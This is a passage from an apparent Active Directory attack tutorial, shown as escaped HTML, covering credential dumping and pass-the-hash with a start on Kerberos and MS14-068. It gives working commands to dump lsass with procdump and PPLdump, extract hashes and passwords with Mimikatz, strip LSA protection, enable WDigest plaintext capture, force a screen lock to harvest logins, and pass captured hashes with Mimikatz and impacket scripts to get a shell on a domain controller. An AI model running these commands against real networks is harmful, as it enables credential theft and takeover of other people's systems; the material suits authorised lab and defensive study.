Advanced Usage&#10;&lt;/h5&gt;&lt;p&gt;① Use Mimikatz with a dump file created by procdump to extract credentials.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # log //Log captured information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::minidump passwd.dmp //Switch context by mounting the DMP file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords //List all available credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;② Use Mimikatz directly to extract credentials (administrative privileges required).&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikata # log //Log captured information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # privilege::debug //Elevate privileges to enable privileged Mimikatz operations&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::msv //Extract hashes from memory&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz # sekurlsa::logonpasswords //List all available credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="with-local-administrator-privileges"&gt;&lt;a href="#with-local-administrator-privileges" class="header-anchor"&gt;&lt;/a&gt;With Local Administrator Privileges&#10;&lt;/h3&gt;&lt;h4 id="extract-passwords"&gt;&lt;a href="#extract-passwords" class="header-anchor"&gt;&lt;/a&gt;Extract Passwords&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;procdump.exe -accepteula -ma lsass.exe lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz &amp;#34;privilege::debug&amp;#34; &amp;#34;sekurlsa::minidump lsass.dmp&amp;#34; &amp;#34;sekurlsa::logonPasswords&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz &amp;#34;privilege::debug&amp;#34; &amp;#34;token::elevate&amp;#34; &amp;#34;sekurlsa::logonpasswords&amp;#34; &amp;#34;lsadump::sam&amp;#34; &amp;#34;exit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;hashdump: post/windows/gather/smart_hashdump&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip_range&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;lt;password&amp;gt; -M lsassy&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cme smb &amp;lt;ip_range&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;#39;&amp;lt;password&amp;gt;&amp;#39; --sam / --lsa / --ntds&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="bypass-the-lsa-protection-policy-to-read-passwords"&gt;&lt;a href="#bypass-the-lsa-protection-policy-to-read-passwords" class="header-anchor"&gt;&lt;/a&gt;Bypass the LSA Protection Policy to Read Passwords&#10;&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PPLdump64.exe &amp;lt;lsass.exe|lsass_pid&amp;gt; lsass.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mimikatz &amp;#34;!+&amp;#34; &amp;#34;!processprotect /process:lsass.exe /remove&amp;#34; &amp;#34;privilege::debug&amp;#34; &amp;#34;token::elevate&amp;#34; &amp;#34;sekurlsa::logonpasswords&amp;#34; &amp;#34;!processprotect /process:lsass.exe&amp;#34; &amp;#34;!-&amp;#34; #with mimidriver.sys&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Workflow summary:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Obtain the NTLM hash&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Use procdump/PPLdump to dump the lsass process&lt;/li&gt;&#10;&lt;li&gt;Use mimikatz to analyze the dump file and extract the hash&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;Choose a path using the NTLM hash:&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Crack the hash to obtain the plaintext password&lt;/li&gt;&#10;&lt;li&gt;Use the hash directly in a PTH attack (when it cannot be cracked)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Key points:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;NTLM hashes are generated the same way on all Windows systems (MD4)&lt;/li&gt;&#10;&lt;li&gt;The same password produces the same hash on different machines&lt;/li&gt;&#10;&lt;li&gt;PTH can authenticate without the plaintext password&lt;/li&gt;&#10;&lt;li&gt;A dump of lsass contains credential information for every logged-in user&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;In particular:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;The hash of the administrator who is currently logged in&lt;/li&gt;&#10;&lt;li&gt;Hashes of other logged-in users&lt;/li&gt;&#10;&lt;li&gt;Hashes of system service accounts&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;But keep in mind:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;You can only obtain hashes for users who have logged in&lt;/li&gt;&#10;&lt;li&gt;Information for users who have never logged in will not be present in lsass&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;In practice, cracking md4 can also recover the plaintext password.&lt;/p&gt;&#10;&lt;h3 id="5-lab-pth-pass-the-hash"&gt;&lt;a href="#5-lab-pth-pass-the-hash" class="header-anchor"&gt;&lt;/a&gt;5. Lab: PTH (pass-the-hash)&#10;&lt;/h3&gt;&lt;h4 id="-introduction"&gt;&lt;a href="#-introduction" class="header-anchor"&gt;&lt;/a&gt;① Introduction&#10;&lt;/h4&gt;&lt;p&gt;Pass-the-hash is a hacker technique in which an attacker uses the hash of a user&amp;rsquo;s password to authenticate to a remote server and expand their foothold. It is essentially a form of &lt;code&gt;credential stuffing&lt;/code&gt;. Once we have an NTLM hash, we can very easily launch a PTH attempt with Mimikatz&amp;rsquo;s &lt;code&gt;sekurlsa::pth&lt;/code&gt;.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Limitation: the hash must remain static (the password must not be changed)&lt;/li&gt;&#10;&lt;li&gt;Applicable to: domains/workgroups where a hash can be obtained but not cracked, and where machines on the internal network share the same password.&lt;/li&gt;&#10;&lt;li&gt;KB2871997: fixed PTH for standard users, but not administrators. On systems &amp;gt;= win server 2012, plaintext passwords cannot be captured from the lsass process.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;Because KB2871997 fixed PTH for standard users, privilege::debug is needed to elevate privileges (from a high-privilege terminal).&lt;/p&gt;&#10;&lt;h4 id="-prerequisites"&gt;&lt;a href="#-prerequisites" class="header-anchor"&gt;&lt;/a&gt;② Prerequisites&#10;&lt;/h4&gt;&lt;p&gt;To use Mimikatz&amp;rsquo;s sekurlsa::pth module, you need to know at least the following:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;PTH target: use commands such as &lt;code&gt;net user /domain&lt;/code&gt; to view domain-user information&lt;/li&gt;&#10;&lt;li&gt;Domain name: use commands such as &lt;code&gt;net view /domain&lt;/code&gt; to view the domain name&lt;/li&gt;&#10;&lt;li&gt;NTLM hash: obtain it with procdump and Mimikatz&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Additional notes:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f # Enable password capture&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. rundll32 user32.dll,LockWorkStation # Force the lock screen so the user logs in again and the password can be captured from lsass.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h4 id="-when-it-applies"&gt;&lt;a href="#-when-it-applies" class="header-anchor"&gt;&lt;/a&gt;③ When It Applies&#10;&lt;/h4&gt;&lt;p&gt;This applies when you do not need the user&amp;rsquo;s password, only have the domain controller&amp;rsquo;s NTLM Hash, and cannot crack it.&lt;/p&gt;&#10;&lt;h4 id="-information-gathering"&gt;&lt;a href="#-information-gathering" class="header-anchor"&gt;&lt;/a&gt;④ Information Gathering&#10;&lt;/h4&gt;&lt;p&gt;Find the PTH target =&amp;gt; Administrator&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;View members of the administrators group =&amp;gt; choose Administrator as the target&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Domain name =&amp;gt; MAO&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Obtain the administrator&amp;rsquo;s ntml hash =&amp;gt; 570a9a65db8fba761c1008a51d4c95ab&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Mimikatz.exe can handle all of this:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::minidump ./passwd.dmp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::logonpasswords full&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0015.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h4 id="-launch-the-attack"&gt;&lt;a href="#-launch-the-attack" class="header-anchor"&gt;&lt;/a&gt;⑤ Launch the Attack&#10;&lt;/h4&gt;&lt;h5 id="method-1-direct-pth-with-mimikatz"&gt;&lt;a href="#method-1-direct-pth-with-mimikatz" class="header-anchor"&gt;&lt;/a&gt;Method 1: Direct PTH with Mimikatz&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::pth /user:&amp;lt;USERNAME&amp;gt; /domain:&amp;lt;DOMAIN_NAME&amp;gt; /ntlm:&amp;lt;ntlm hash&amp;gt; [/run:name]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;privilege::debug&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sekurlsa::pth /user:Administrator /domain:MAO /ntlm:570a9a65db8fba761c1008a51d4c95ab /run:cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This gives us control of the domain controller. (If all parameters are correct but the attack still fails, try closing the Mimikatz window, start cmd.exe again as administrator, elevate privileges again, and rerun the attack. The command after run is optional; by default, it opens cmd.exe on the domain controller.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h5 id="method-2-use-credential-passing-scripts-to-obtain-a-shell"&gt;&lt;a href="#method-2-use-credential-passing-scripts-to-obtain-a-shell" class="header-anchor"&gt;&lt;/a&gt;Method 2: Use Credential-Passing Scripts to Obtain a Shell&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;①smbexec.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /opt/impacket/build/scripts-3.12/smbexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbexec.py administrator:&amp;#39;password&amp;#39;@&amp;lt;target-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;②wmiexec.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python /opt/impacket/build/scripts-3.12/wmiexec.py -hashes :2b2ddd54e1f78fab85e7c662f672f30e TEST/Administrator@192.168.0.110&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmiexec.py administrator:&amp;#39;password&amp;#39;@&amp;lt;target-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/opt/impacket/build/scripts-3.12/psexec.py administrator:&amp;#39;password&amp;#39;@10.10.10.97&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe \\WindowsServerAD.test.local -u test\administrator -hashes :2b2ddd54e1f78fab85e7c662f672f30e cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsExec.exe -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 FOREST/administrator@10.10.10.161&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;psexec.exe &amp;#34;administrator&amp;#34;@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0017.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Can passing a standard user&amp;#39;s hash still provide a shell?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Does the standard user&amp;#39;s hash belong to a domain account or a standard account on the domain controller?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. If a standard account on the domain controller supports PTH, does creating it there automatically make it a domain account?&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1. Passing a standard user&amp;#39;s hash:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A shell is possible, but permissions are limited&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Only authorized resources are accessible&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Administrative operations are unavailable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2. Source of a standard user&amp;#39;s hash:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It is the hash of a domain user account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;It is not a local account hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The credential is used for domain authentication&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;3. Domain accounts and local accounts:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A user created on the domain controller automatically becomes a domain user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Domain users can authenticate within the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Local accounts can only be used on their host&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Key point: PTH passes a domain account hash, whether the account is an administrator or a standard user.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A shell on the domain controller requires its administrator hash&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="6-kerberos-authentication-protocol"&gt;&lt;a href="#6-kerberos-authentication-protocol" class="header-anchor"&gt;&lt;/a&gt;6. Kerberos Authentication Protocol&#10;&lt;/h3&gt;&lt;p&gt;Kerberos is a third-party authentication protocol that uses symmetric encryption to provide strong authentication for client/server applications. In Greek mythology, Kerberos is the three-headed hound guarding the gates of Hades. Its three heads represent the three roles in the protocol, as shown below:&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The Client accessing the service (the party sending the request)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The Server providing the service (the party receiving the request)&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The KDC, or Key Distribution Center, which contains the following two services:&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;AS, the authentication service (Authentication Server) [dedicated to authenticating the client and issuing the TGT the client uses to access the TGS]&lt;/li&gt;&#10;&lt;li&gt;TGS, the ticket authorization service (Ticket Granting Server) [issues the tickets needed throughout authentication and the service ticket the client needs to access the server]&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/active-directory-ptt-pth-ptc/image-0018.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;DC (Domain Controller): domain controller&lt;/li&gt;&#10;&lt;li&gt;KDC (Key Distribution Center): key distribution center&lt;/li&gt;&#10;&lt;li&gt;AS (Authentication Server): authentication server&lt;/li&gt;&#10;&lt;li&gt;TGS (Ticket Granting Server): ticket-granting server&lt;/li&gt;&#10;&lt;li&gt;TGT (Ticket Granting Ticket): ticket-granting ticket&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;Authentication Overview&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;First, the client sends a request to the AS and obtains a TGT.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The client uses the TGT obtained from the AS to send a request to the TGS. After successfully decrypting the TGT, the TGS generates a new ticket and returns it to the client.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&#10;&lt;p&gt;The client uses the new ticket returned by the TGS to send a request to the server for authorization.&lt;/p&gt;&#10;&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;h3 id="7-lab-ptc-pass-the-cache"&gt;&lt;a href="#7-lab-ptc-pass-the-cache" class="header-anchor"&gt;&lt;/a&gt;7. Lab: PTC (pass-the-cache)&#10;&lt;/h3&gt;&lt;p&gt;If we can obtain a user&amp;rsquo;s TGT and import it into memory, we can impersonate that user and gain their access privileges.&lt;/p&gt;&#10;&lt;h4 id="-ms14-068-vulnerability"&gt;&lt;a href="#-ms14-068-vulnerability" class="header-anchor"&gt;&lt;/a&gt;① MS14-068 Vulnerability&#10;&lt;/h4&gt;&lt;p&gt;MS14-068 is a Windows vulnerability in the Key Distribution Center (KDC) service. It allows an authenticated user to insert an arbitrary PAC (the structure representing all user privileges) into a Kerberos ticket (TGT). The vulnerability is located in kdcsvc.dll in the domain controller&amp;rsquo;s Key Distribution Center. A user can obtain a ticket by presenting a kerberos TGT with a modified 